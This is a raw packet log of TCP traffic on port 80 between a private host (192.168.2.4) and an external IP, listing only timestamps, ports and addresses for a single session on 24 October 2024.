Oct 24, 2024 13:27:09.433449984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433465958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433474064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433491945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433506966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433515072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433521986 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433535099 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433536053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433551073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433568001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433577061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433583021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433598995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433615923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433621883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433636904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433640957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433655024 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433660984 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433671951 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433685064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433701038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433702946 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433716059 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433731079 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433741093 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433747053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433762074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433763981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433777094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433789968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433804035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433819056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433825970 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433835030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433847904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433862925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433875084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433878899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433892965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433902025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433909893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433923960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433924913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433940887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433945894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433955908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433970928 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433984041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433985949 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434000969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434016943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434021950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434031963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434046984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434056997 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434062958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434078932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434082985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434092999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434098959 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434108973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434128046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434140921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434145927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434159994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434165001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434175014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434190035 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434205055 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434223890 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434267044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434457064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434473991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434489965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434500933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434516907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434530020 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434536934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434545040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434559107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434571981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434585094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434587955 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434597969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434603930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434618950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434628963 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434633970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434647083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434662104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434670925 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434678078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434694052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434700012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434709072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434724092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434726000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434739113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434751987 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434752941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434768915 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434776068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434787989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434803009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434817076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434818983 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434834003 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434849977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434854031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434864998 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.434884071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.434937000 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435194016 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435210943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435225010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435240030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435245991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435256958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435271978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435275078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435286999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435301065 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435309887 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435323000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435332060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435338974 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435354948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435357094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435369968 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435389996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435396910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435410976 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435426950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435426950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435444117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435451031 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435458899 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435475111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435477018 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435492992 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435508966 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435509920 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435524940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435539961 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435548067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435555935 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435568094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435573101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435583115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435597897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435601950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435614109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435625076 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435630083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435645103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435650110 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435661077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435676098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435686111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435692072 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435707092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435722113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435725927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435735941 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.435764074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435805082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.435805082 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436134100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436150074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436165094 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436180115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436194897 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436211109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436223984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436238050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436259985 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436268091 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436285019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436300039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436315060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436331034 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436337948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436345100 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436359882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436363935 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436376095 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436387062 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436391115 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436407089 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436414957 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436419964 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436434984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436450005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436458111 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436466932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436482906 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436496973 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436497927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436513901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436522961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436532021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.436551094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436585903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436708927 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.436919928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437028885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437046051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437066078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437082052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437088966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437097073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437113047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437128067 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437145948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437161922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437165022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437176943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437191963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437195063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437206030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437220097 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437222958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437236071 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437248945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437262058 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437264919 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437280893 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437283993 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437295914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437309980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437314034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437324047 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437340021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437354088 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437356949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437371969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437382936 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437387943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437402010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437414885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437418938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437433004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437446117 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437448978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437463999 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437465906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437479019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437494040 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437506914 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437509060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437524080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.437555075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437555075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.437587023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438117981 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438143015 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438158989 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438165903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438175917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438189030 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438190937 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438208103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438211918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438224077 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438231945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438240051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438256025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438268900 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438276052 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438283920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438293934 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438299894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438316107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438318014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438332081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438347101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438354969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438361883 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438376904 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438390017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438391924 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438407898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438420057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438422918 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438440084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438442945 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438460112 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438463926 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438474894 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438479900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438492060 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438504934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438519001 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438520908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438535929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438545942 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438549995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438565969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438565969 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438585043 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438601017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438601971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438616991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438632011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438632965 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438648939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438658953 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438663960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438678980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438680887 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.438697100 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.438747883 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.440529108 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.441051006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.465313911 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.465385914 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.465424061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.465459108 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.465493917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.465516090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.465516090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.465516090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.465516090 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.465523958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.465560913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.465591908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.465591908 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.465620041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.465976000 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.466006994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.466039896 CEST	80	49730	109.107.157.208	192.168.2.4
